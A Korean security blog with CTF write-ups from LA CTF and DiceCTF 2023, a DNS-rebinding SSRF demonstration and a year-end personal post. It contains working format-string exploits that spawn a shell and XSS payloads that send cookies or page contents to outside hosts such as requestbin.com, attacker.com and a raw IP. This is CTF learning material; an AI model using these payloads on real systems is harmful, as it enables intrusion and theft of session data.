payload += b"%14$hhnA"                                                  # overwrite printf GOT -> system 1bit
payload += f"%{256 - offset_1 + offset_2 - 4}c".encode() + tmp_2 * b"A" # system+1
payload += b"%15$hhnA"                                                  # overwrite printf+1 GOT -> system 1bit
payload += f"%{256 - offset_2 - 4 + offset_3}c".encode() + tmp_3 * b"A"
payload += b"%16$hhnA"
payload += p64(main_called)
payload += p64(e.got["printf"])
payload += p64(e.got["printf"] + 1)
payload += p64(e.got["printf"] + 2)

p.sendlineafter(b"Lyrics: ", payload)

p.sendline(b"/bin/sh")

p.interactive()

# lactf{printf_gave_me_up_and_let_me_down}

4. [pwn] rut-roh-relro

이 문제는 Cheshire님과 함께 고민하여 해결했다.

이전 문제와 동일하게 fsb를 통해 문제를 해결해야 한다.

#include <stdio.h>

int main(void) {
    setbuf(stdout, NULL);
    puts("What would you like to post?");
    char buf[512];
    fgets(buf, 512, stdin);
    printf("Here's your latest post:\n");
    printf(buf);
    printf("\nWhat would you like to post?\n");
    fgets(buf, 512, stdin);
    printf(buf);
    printf("\nYour free trial has expired. Bye!\n");
    return 0;
}

하지만, 이 바이너리는 GOT를 overwrite할 수 없다. 이렇게 Full RELRO가 적용되어 있어도 우회할 수 있는 방법이 있는데, `rtld_global` 구조체에 `_dl_rtld_lock_recursive`와 `dl_load_lock`을 system 함수로 overwrite하면 프로그램이 종료될때 실행되어 shell을 획득할 수 있다.

다른 사람들의 풀이를 보니까, 간단하게 fsb로 libc_base와 stack 주소를 leak하여 return 주소에 one_gadget을 넣어 쉽게 해결했다. https://www.youtube.com/watch?v=K5sTGQPs04M

아무튼, 아래 payload로 local에서는 성공적으로 shell을 획득했지만, remote에서는 획득하진 못했다.

같이 문제를 풀었던 분이 브포로 풀었다고 했는데,, 나중에 payload를 봐야겠다.

from pwn import *

context.arch = 'amd64'
context.log_level = "debug"
p=process("rut_roh_relro")
# p = remote("lac.tf", "31134")
e=ELF("rut_roh_relro")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ld=ELF("/lib64/ld-linux-x86-64.so.2")

if len(sys.argv) != 1:
    pie_base = p.libs()["/home/universe/lactf/rut-roh-relro/rut_roh_relro"]
    script = f"""
        b *{pie_base + e.symbols['main'] + 156}
    """
    context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p, script)

code_base_payload  = "%10$p"
code_base_payload += "%65$p"
code_base_payload += "%71$p"
p.sendlineafter("?\n", code_base_payload)

p.recvuntil("Here's your latest post:\n")

rtld_global = int(p.recvn(14),16)-2440
_dl_rtld_lock_recursive = rtld_global + 3848
dl_load_lock  = rtld_global + 2312
libc_csu_init = int(p.recvn(14),16)
libc_start_main = int(p.recvn(14),16)-243
code_base = libc_csu_init-e.symbols['__libc_csu_init']
libc_base = libc_start_main-libc.symbols['__libc_start_main']
ld_base = rtld_global-ld.symbols['_rtld_global']
main = code_base+e.symbols['main']
system = libc_base+libc.symbols['system']
binsh = libc_base+0x1B45BD

log.info(f"_rtld_global: {hex(rtld_global)}")
log.info(f"__libc_csu_init: {hex(libc_csu_init)}")
log.info(f"code base: {hex(code_base)}")
log.info(f"libc base: {hex(libc_base)}")
log.info(f"ld base: {hex(ld_base)}")
log.info(f"main: {hex(main)}")
log.info(f"system: {hex(system)}")
log.info(f"/bin/sh: {hex(binsh)}")
log.info(f"_dl_rtld_lock_recursive: {hex(_dl_rtld_lock_recursive)}")
log.info(f"dl_load_lock: {hex(dl_load_lock)}")

overwrite = system & 0x000000ffffff
offset_1 = overwrite & 0xff
offset_2 = (overwrite & 0xff00) >> 8
offset_3 = (overwrite & 0xff0000) >> 16

payload  = f"%{0x2f - 4}c".encode() + b"A" * 4
payload += b"%26$hhnA"
payload += f"%{256 - 0x2f - 4 + 0x62}c".encode() + b"A" * 3
payload += b"%27$hhnA"
payload += f"%{256 - 0x62 - 4 + 0x69}c".encode() + b"A" * 3
payload += b"%28$hhnA"
payload += f"%{256 - 0x69 - 4 + 0x6e}c".encode() + b"A" * 3
payload += b"%29$hhnA"
payload += f"%{256 - 0x6e - 4 + 0x2f}c".encode() + b"A" * 3
payload += b"%30$hhnA"
payload += f"%{256 - 0x2f - 4 + 0x73}c".encode() + b"A" * 3
payload += b"%31$hhnA"
payload += f"%{256 - 0x73 - 4 + 0x68}c".encode() + b"A" * 3
payload += b"%32$hhnA"                                          # fin dl_load_lock overwrite
payload += f"%{256 - 0x68 - 4 + offset_1}c".encode() + b"A" * 3
payload += b"%33$hhnA"
payload += f"%{256 - offset_1 - 4 + offset_2}c".encode() + b"A" * 3
payload += b"%34$hhnA"
payload += f"%{256 - offset_2 - 4 + offset_3}c".encode() + b"A" * 3
payload += b"%35$hhnA"
payload += p64(dl_load_lock)
payload += p64(dl_load_lock+1)
payload += p64(dl_load_lock+2)
payload += p64(dl_load_lock+3)
payload += p64(dl_load_lock+4)
payload += p64(dl_load_lock+5)
payload += p64(dl_load_lock+6)
payload += p64(_dl_rtld_lock_recursive)
payload += p64(_dl_rtld_lock_recursive+1)
payload += p64(_dl_rtld_lock_recursive+2)

p.sendlineafter("?\n", payload)

p.interactive()

5. [web] uuid hell

대회 당일, 포너블에 잡혀있어 대회가 끝난 뒤에 문제를 봤는데, 브포로 uuid v1 값을 알아내는 문제였다.

30분만에 풀었는데, flag를 제출하지 못해 아쉬웠다.

uuid v1은 timestamp 기준으로 생성하는 함수이다.

function randomUUID() {
    return uuid.v1({'node': [0x67, 0x69, 0x6E, 0x6B, 0x6F, 0x69], 'clockseq': 0b10101001100100});
}

app.get('/', (req, res) => {
    let id = req.cookies['id'];
    if (id === undefined || !isUuid(id)) {
        id = randomUUID();
        res.cookie("id", id);
        useruuids.push(id);
        if (useruuids.length > 50) {
            useruuids.shift();
        }
    } else if (isAdmin(id)) {
        res.send(process.env.FLAG);
        return;
    }

    res.send("You are logged in as " + id + "<br><br>" + getUsers());
});

app.post('/createadmin', (req, res) => {

    const adminid = randomUUID();
    adminuuids.push(adminid);
    if (adminuuids.length > 50) {
        adminuuids.shift();
    }
    res.send("Admin account created.")
});

admin의 uuid 값을 알아야 flag를 획득할 수 있기 때문에, 일반 사용자의 uuid 값 생성 직후 admin uuid를 생성해 둔다.

이후 브포로 admin의 uuid 값을 찾는 payload를 작성한다.

const first = "a29e5c30"
const crypto = require('crypto');
const cmp = "94c1481d868f9c2bcda23e46f9ed02ec";

for(let i = 0; i<0xffffffff; i++){
    let result = `${(parseInt(first, 16) + i).toString(16)}-ac28-11ed-aa64-67696e6b6f69`;
    let hash = crypto.createHash('md5').update("admin" + result).digest("hex");

    if(hash === cmp){
        console.log(result);
        break;
    }
}

// lactf{uu1d_v3rs10n_1ch1_1s_n07_r4dn0m}

ctftime에 올라온 롸업에는 uuid v1에 취약점을 이용하여 풀긴 했는데,, 한번 읽어봐야겠다

CTFtime.org / LA CTF 2023 / uuid hell / Writeup

# uuid hell ## Overview - Overall difficulty for me (From 1-10 stars): ★★★★★★☆☆☆☆ - 165 solves / 391 points ## Background UUIDs are the best! I love them (if you couldn't tell)! Site: [uuid-hell.lac.tf](https://uuid-hell.lac.tf) ![](htt

ctftime.org

6. [web] uuid hell

이 문제는 csp를 우회하여 flag를 획득하는 문제이다.

const express = require("express");
const path = require("path");
const { v4: uuid } = require("uuid");
const cookieParser = require("cookie-parser");

const flag = process.env.FLAG;
const port = parseInt(process.env.PORT) || 8080;
const adminpw = process.env.ADMINPW || "placeholder";

const app = express();

const reports = new Map();

let cleanup = [];

setInterval(() => {
    const now = Date.now();
    let i = cleanup.findIndex(x => now < x[1]);
    if (i === -1) {
        i = cleanup.length;
    }
    for (let j = 0; j < i; j ++) {
        reports.delete(cleanup[j][0]);
    }
    cleanup = cleanup.slice(i);
}, 1000 * 60);

app.use(cookieParser());
app.use(express.urlencoded({ extended: false }));

app.get("/flag", (req, res) => {
    res.status(400).send("you have to POST the flag this time >:)");
});

app.post("/flag", (req, res) => {
    if (req.cookies.adminpw === adminpw) {
        res.send(flag);
    } else {
        res.status(400).send("no hacking allowed");
    }
});

app.use((req, res, next) => {
    res.set(
        "Content-Security-Policy",
        "default-src 'none'; script-src 'unsafe-inline'"
    );
    next();
});

app.post("/report", (req, res) => {
    res.type("text/plain");
    const crime = req.body.crime;
    if (typeof crime !== "string") {
        res.status(400).send("no crime provided");
        return;
    }
    if (crime.length > 2048) {
        res.status(400).send("our servers aren't good enough to handle that");
        return;
    }
    const id = uuid();
    reports.set(id, crime);
    cleanup.push([id, Date.now() + 1000 * 60 * 60 * 3]);
    res.redirect("/report/" + id);
});

app.get("/report/:id", (req, res) => {
    if (reports.has(req.params.id)) {
        res.type("text/html").send(reports.get(req.params.id));
    } else {
        res.type("text/plain").status(400).send("report doesn't exist");
    }
});

app.get("/", (req, res) => {
    res.sendFile(path.join(__dirname, "index.html"));
});

app.listen(port, () => {
    console.log(`Listening on port ${port}`);
});

CSP를 보면 `script-src` directive는 `unsafe-inline`을 허용해 주고 있다. 반면에 `default-src`의 directive는 `none` 이다.

flag를 획득하기 위해서는 POST 방식으로 fetch등 요청을 보내야 하지만, `default-src none` 이기 때문에 자동적으로 `connect-src none` 설정이 되어 fetch 요청 등이 차단된다.

이를 우회하는 방법은 `window.open` 과 `window.opener` 를 사용하는 것이다.

우선 2개의 payload가 필요한데, 첫번째 payload는 `window.open` 을 사용하여 두번째 payload 새창을 띄우는 코드를 작성하고, 이후에 /flag로 POST 방식으로 요청을 보내는 submit payload를 작성한다.

<form method="POST" action="/flag">
<script>
	window.open("/report/second-report-id", target="_blank");
    document.forms[0].submit();
</script>

첫번째 payload의 `window.open()` 함수를 통해 새창으로 열린 두번째 payload는 `window.opener` 를 통해 부모 DOM에 접근하여 /flag 페이지의 내용을 가져오는 payload를 작성한다.

<script>
	setTimeout(() => {
    	location.href=`https://requestbin.com/?flag=${window.opener.document.documentElement.outerHTML}`;
    }, 200);
</script>

`lactf{m4yb3_g1v1ng_fr33_xss_1s_jus7_4_b4d_1d3a}`

Dicectf 2023 writeup

Universe7202 — Wed, 8 Feb 2023 18:29:12 +0900

대회 당일날 웹 한문제 밖에 못 풀었지만, 이후 writeup을 보고 정리하고자 한다.

1. recursive-csp

해당 문제는 GET 파라미터로 전달한 값을 그대로 출력하여 XSS 가 가능하다. 하지만, 이 값을 암호화 하여 csp 정책에 들어가게 된다.

<?php
  if (isset($_GET["source"])) highlight_file(__FILE__) && die();

  $name = "world";
  if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) {
    $name = $_GET["name"];
  }

  $nonce = hash("crc32b", $name);
  header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';");
?>

crc32b를 통한 암호화 결과는 8자리 이므로, 다음과 같이 트리거 시킬 xss payload와 이 값의 crc32b와 같은 값을 찾는 코드를 작성해준다. 만족하는 payload를 얻어내어 flag를 획득한다.

<?php
    for($i = 0x00000000; $i != 0xffffffff; $i++){
        $data = str_pad( strval(dechex($i)), 8, "0", STR_PAD_LEFT);
        $gen = '<script nonce="'.$data.'">location.href=`http://webhook.com/?${document.cookie}`</script>';
        $nonce = hash("crc32b", $gen);

        if ($data === $nonce){
            echo "found\n";
            echo $gen;
            exit();
        }
    }
    
    // https://recursive-csp.mc.ax/?name=%3Cscript%20nonce=%2217b4fd97%22%3Elocation.href=`http://220.92.92.131:8000/?cookie=${document.cookie}`%3C/script%3Ectf
    // dice{h0pe_that_d1dnt_take_too_l0ng}
?>

2. codebox

이번 문제도 CSP 관련 문제이다. 사용자가 입력한 img tag의 src 값이 CSP에 들어가는 것을 볼 수 있다.

src에 대한 어떠한 필터링이 없기 때문에 CSP에 추가적인 directive를 넣을 수 있다.

const fastify = require('fastify')();
const HTMLParser = require('node-html-parser');

const box = require('fs').readFileSync('box.html', 'utf-8');

fastify.get('/', (req, res) => {
    const code = req.query.code;
    const images = [];

    if (code) {
        const parsed = HTMLParser.parse(code);
        for (let img of parsed.getElementsByTagName('img')) {
            let src = img.getAttribute('src');
            if (src) {
                images.push(src);
            }
        }
    }

    const csp = [
        "default-src 'none'",
        "style-src 'unsafe-inline'",
        "script-src 'unsafe-inline'",
    ];

    if (images.length) {
        csp.push(`img-src ${images.join(' ')}`);
    }

    res.header('Content-Security-Policy', csp.join('; '));

    res.type('text/html');
    return res.send(box);
});

fastify.listen({ host: '0.0.0.0', port: 8080 });

CSP에서 `report-uri` 라는 directive가 있다. 이에 대한 설명은 다음과 같다.

CSP를 위반하였을 경우, 이를 보고하도록 사용자 에이전트(브라우저를 뜻하는 듯?)에게 지시한다.
이 위반 보고서는 HTTP POST 요청을 통해 JSON 데이터를 포함한 지정된 URI로 전송된다.

출처: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/report-uri

예를 들어, 다음과 같이 `report-uri` 지시문을 통해 지정된 URI 로 위반 보고서를 전송하게 된다.

Content-Security-Policy: report-uri https://lactea.kr;

위 설명을 바탕으로 다음과 같이 문제 서버에 값을 전달하면 성공적으로 CSP에 directive를 넣을 수 있다.

하지만, 위 script 태그는 아래 javascript 코드로 인해 실행되지 않는다.

iframe 태그를 생성하여 srcdoc에 html code를 넣지만, `sandbox` attr 때문에 script가 실행되지 않는다.

따라서 위 javascript 때문에 아래 사진처럼 브라우저에서 이를 실행하지 않는다.

이는 CSP로 차단된 것이 아니기 때문에 `report-uri` directive 가 동작하지 않는다.

CSP directive 중에 `require-trusted-types-for` 라는 directive가 있다.

이 directive에 대한 설명은 다음과 같다.

Element.innerHTML setter와 같은 DOM XSS sink function에 전달된 데이터를 제어하도록
사용자 에이전트(브라우저?)에게 지시한다.

다음과 같은 Syntax를 지원한다.
- script
	DOM XSS 주입 sink function과 같은 문자열을 사용할 수 없음.

출처: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/require-trusted-types-for

솔직히 위 directive에 대한 이해가 잘 되진 않는데, 후배의 도움을 받아 이해한바로는,

Element.innerHTML 과 같은 setter는 html 코드를 DOM에 주입하여 실행하게 된다.

만약 `require-trusted-types-for 'script'` directive가 CSP에 있다면, Element.innerHTML setter 등 이런 것들은 사용하지 못하도록 막는다.

따라서 다음과 같이 입력하여 전송한다.

`require-trusted-types-for 'script'` CSP로 인해 Element.innerHTML이 정책에 걸려 `report-uri` directive가 작동한 것을 볼 수 있다. 전송된 패킷을 보면, 어디에서 CSP 위반되었는지를 알 수 있다.

다시 javascript 코드를 보면, 위 CSP에 걸린 위치는 대략 50번째 줄이다. 우리는 flag 값을 넣는 58번째 줄에 CSP 위반을 유도해야 한다.

즉, if 문을 동작하지 않게 하기 위해서는, 다음과 같이 code 라는 파라미터를 2개로 보낸다.

하나는 빈 값이고, 나머지 하나는 CSP를 넣는 payload 이다.

report 패킷을 확인해 보면, 가짜 flag를 전송한 것을 볼 수 있다.

이를 bot에게 전달하면 flag를 획득할 수 있다.

dice{i_als0_wr1te_csp_bypasses}

3. jnotes

이 문제는 java의 Javalin 웹 프레임워크를 사용한 문제이다.

admin의 Cookie를 탈취해야 하는 문제인데, `HttpOnly` 가 설정되어 있어 document.cookie 와 같은 방법으론 Cookie를 탈취할 수 없다.

public class App {
    public static String DEFAULT_NOTE = "Hello world!\r\nThis is a simple note-taking app.";

    public static String getNote(Context ctx) {
        var note = ctx.cookie("note");
        if (note == null) {
            setNote(ctx, DEFAULT_NOTE);
            return DEFAULT_NOTE;
        }
        return URLDecoder.decode(note, StandardCharsets.UTF_8);
    }

    public static void setNote(Context ctx, String note) {
        note = URLEncoder.encode(note, StandardCharsets.UTF_8);
        ctx.cookie(new Cookie("note", note, "/", -1, false, 0, true));
    }

    public static void main(String[] args) {
        var app = Javalin.create();

        app.get("/", ctx -> {
            var note = getNote(ctx);
            ctx.html("""
                    <html>
                    <head></head>
                    <body>
                    <h1>jnotes</h1>

                    <form method="post" action="create">
                    <textarea rows="20" cols="50" name="note">
                    %s
                    </textarea>
                    <br>
                    <button type="submit">Save notes</button>
                    </form>

                    <hr style="margin-top: 10em">
                    <footer>
                    <i>see something unusual on our site? report it <a href="https://adminbot.mc.ax/web-jnotes">here</a></i>
                    </footer>
                    </body>
                    </html>""".formatted(note));
        });

        app.post("/create", ctx -> {
            var note = ctx.formParam("note");
            setNote(ctx, note);
            ctx.redirect("/");
        });
        
        app.start(1337);
    }
}

Javalin 웹 프레임워크에서 Cookie 값을 구분짓는 방법은 다음과 같습니다.

더블쿼터의 시작과 끝을 기준으로 Cookie 값을 구분
세미콜론은 이때의 상황에서는 무시됨

만약 다음과 같은 값을 Cookie로 파싱한다면, 결과는 다음과 같습니다.

"asdf; FLAG=FLAG{aaaa}; test: value";

Cookie: note=asdf; FLAG=FLAG{aaaa}; test: value

console.log(document.cookie);
// asdf; FLAG=FLAG{aaaa}; test: value

하지만, 위 상황은 임의로 넣은 cookie 값 사이에 flag 라는 Cookie가 들어가야 합니다. 즉, Cookie 가 어떻게 정렬되는지를 알아야 합니다.

크롬 브라우저는 다음과 같은 순서로 Cookie를 정렬합니다.

가장 긴 path 값을 기준으로 정렬
최근에 업데이트 된 것으로 정렬

따라서 최종 payload는 다음과 같습니다.

<!DOCTYPE html>
<html lang="en">
  <body>
    <form method="POST" action="https://jnotes.mc.ax/create">
      <input id="p" name="note" value="" />
    </form>

    <script>
      document.querySelector("#p").value = `
      <\x73cript>
      if (window.location.pathname !== "//") {
        document.cookie = 'note=; Max-Age=-1';
        document.cookie = '=note="uhhh; path=//';
        document.cookie = 'END=ok" ; path=';
        w = window.open('https://jnotes.mc.ax//');
        setTimeout(()=>{
          ex = w.document.body.innerHTML;
          navigator.sendBeacon('https://attacker.com', ex);
        }, 500);
      }
      `;
      document.forms[0].submit();
    </script>
  </body>
</html>

SSRF bypass using DNS Rebinding

Universe7202 — Wed, 4 Jan 2023 19:54:52 +0900

1. 들어가기에 앞서

일반적으로 SSRF 공격을 막기 위해 개발자들은 다음과 같은 로직을 구현합니다.

차단할 IP 범위
도메인 이름 확인 (이상한 문자열로 우회하는 공격..)
DNS를 이용한 IP 확인

위 과정을 통과하게 되면 사용자가 입력한 URL로 접속하게 됩니다.

이러한 상황을 간단한 코드로 나타내면 다음과 같습니다.

const dns = require("dns/promises");
const axios = require("axios");

async function request(url){
    const check_domain_name = is_domain_name(url);
    const check_dns = await dns.resolve4(url);
    const check_ip = is_blacklist_ip(check_dns);
    
    if(check_ip || check_domain_name || check_dns){
    	return false;
    }

    const response = await axios.get(url);
    
    // ...
    // ...
}

하지만, `DNS를 이용한 ip 확인` 과 `axios.get()` 함수를 이용한 요청간에 코드상 문제점이 있습니다.

DNS 조회 결과 외부 IP로 확인 되었지만, get 요청 할 때는 내부 IP로 바껴 버리는 DNS Rebinding 공격에 취약하다는 점입니다.

2. DNS Rebinding 공격

위 코드의 문제점은 DNS 확인 시점 이후에, get 요청 시에 다시 요청되는 DNS 정보가 다른 IP로 바껴 버린다는 DNS Rebinding 공격에 취약하다는 점입니다.

이를 실습하기 위한 nodejs 코드는 다음과 같습니다.

const express = require("express");
const dns = require("dns/promises");
const axios = require("axios");
const app = express();

dns.setServers([
        '1.1.1.1', '8.8.8.8'
])

app.get("/ssrf", async (req, res) => {
        const url = req.query.url;

        const result = await dns.resolve4(url);
        console.log("==== dns ====");
        console.log(result);

        const response = await axios.get("http://" + url);
        console.log("=== response ===");
        console.log(response.data);
        res.send("1");
})

app.listen(8000, () => {
        console.log("start");
})

위 코드를 실행하고 `http://localhost/ssrf?url=example.com` 으로 요청을 보내면 다음과 같은 결과를 얻을 수 있습니다.

아래 사진을 보면, dns 조회를 통한 ip 정보와 get 요청에 대한 응답 값을 볼 수 있습니다.

DNS Rebinding 공격을 하기 위해 환경을 구축할 필요 없이 아래 링크에서 간단하게 사용할 수 있습니다.

https://lock.cmpxchg8b.com/rebinder.html

아래 사진처럼 DNS에서 조회를 통해 우회할 IP와 get 요청을 통해 접속할 IP를 적어줍니다.

그럼 밑에 domain이 자동으로 생성 됩니다. 이를 위에서 만든 환경에 전달할 경우 어떻게 될까요?

DNS 조회 결과 123.123.123.123 라는 IP가 출력되었습니다. get 요청 시 123.123.123.123 은 80 포트가 열려있지 않은 상태 입니다. 하지만, get 요청에 대한 응답이 아래 사진 처럼 출력이 된 것을 볼 수 있습니다.

즉, DNS Rebinding 공격으로 인해 서로 다른 IP가 각각 전달되어 동작한 것을 알 수 있습니다.

3. 끝마치며

위 상황에 대해서는 어떻게 대처해야 할지,, 코드를 어떤 식으로 작성해야 하는지는 모르겠네요.

처음에 생각했을 때는 DNS 조회 결과의 IP로 GET 요청을 보내면 되지 않을까 라는 생각을 했지만, 일부 사이트에서는 IP로 접근하는 요청을 차단하는 사이트가 있기 때문에,, 이 방법은 별로네요.

요청을 담당하는 서비스 혹은 봇만 따로 빼서 내부 서비스가 없는 환경에 별도로 동작 시키면 안전하지 않을까 생각이 듭니다.

코드 상으로 DNS Rebinding 공격을 어떻게 막는지 궁금하네요 ㅎㅎ

아, 해당 공격을 찾다가 다음과 같은 DNS Rebinding 공격 툴을 추가로 발견했습니다.

아직 써보진 않았지만, 한번 써봐야 겠네요.

https://github.com/makuga01/dnsFookup

2022년 마지막 날을 정리하며

Universe7202 — Sat, 31 Dec 2022 21:02:24 +0900

https://unsplash.com/photos/wtxPbYHxa5I

2022년도는 크고 작은 사건들이 많은 해였던거 같습니다. 어떤 일들이 있었고, 다음 해에는 어떤 목표를 세울지 기록하고자 합니다.

버그 바운티

작년 목표였던 CVE 발급을 위해, 올해 wordpress plugin 취약점 발굴을 시작했습니다. 코드 분석한 결과 다수의 취약점을 찾아 10개(?) 정도의 CVE를 발급 받았습니다. (아직 패치 되지 않은 플러그인 때문에,,)

아래는 patchstack에서 wordpress plugin 1월달 취약점 제보 순위 1위 한 결과 입니다.

patchstack에서 wordpress plugin 1월달 취약점 제보 순위 1위

네이버 버그바운티에 참가하여 최종 4등을 기록했습니다.

3등까지 갔었지만, 순위 변동으로 최종 4등이 되었네요. 올해 목표가 3등 안에 들어가 상패와 상품을 받는 것 이었는데, 위에 분들을 이길 순 없었네요....

2022년도 네이버 버그 바운티 최종 4등

드디어 수상

작년에는 수상이 없어 올해는 무조건 수상을 하고 싶었습니다. 친구들과 함께 kospo 웹 서비스 정보보안 경진대회에서 최우수상을 수상했습니다. 이 대회는 제 1회때부터 매년 참가를 했었는데, 드디어 수상을 하게 되었네요. 부상으로 국정원 시계도 받았습니다.

kospo 웹 서비스 정보보안 경진대회 최우수상

카카오 뱅크 인턴

보안 쪽 직무에 인턴 경험을 해보고 싶어서 여기 저기 찾던 와중에, 카뱅 어보 팀 공고를 보게 되었습니다.

운이 좋게 카카오 뱅크 체험형 인턴에 합격하여 어보팀에서 근무하게 되었습니다. 덕분에(?) 처음으로 자취를 해보면서, 다시는 고시원에 살고 싶지 않더라구요,,

첫 사회 경험 인지라, 지금 생각해보면 부족했던 행동들이 많이 생각나네요,,

역시 대기업 가야 하는 이유를 직접 체험해 보니까,, 복지에 대해서는 저는 정말 좋았습니다.

저의 업무는 웹과 앱에 대한 취약점 진단을 중점으로 했습니다. 덕분에 기술적으로 많이 배우게 되었죠 ㅎㅎ

2023년도 목표

위 활동 외에도 teamh4c 가입, patchstack alliance team 가입, bob 사후 프로젝트 마무리 등등 작은 이벤트 들도 있었습니다.

내년 목표는,, 이랬으면 좋겠네요.

- 머기업 취직!

- 필요한 분석 능력 기르기

- 해외 버그 바운티 / 벅바 받은 돈 천만원 채우기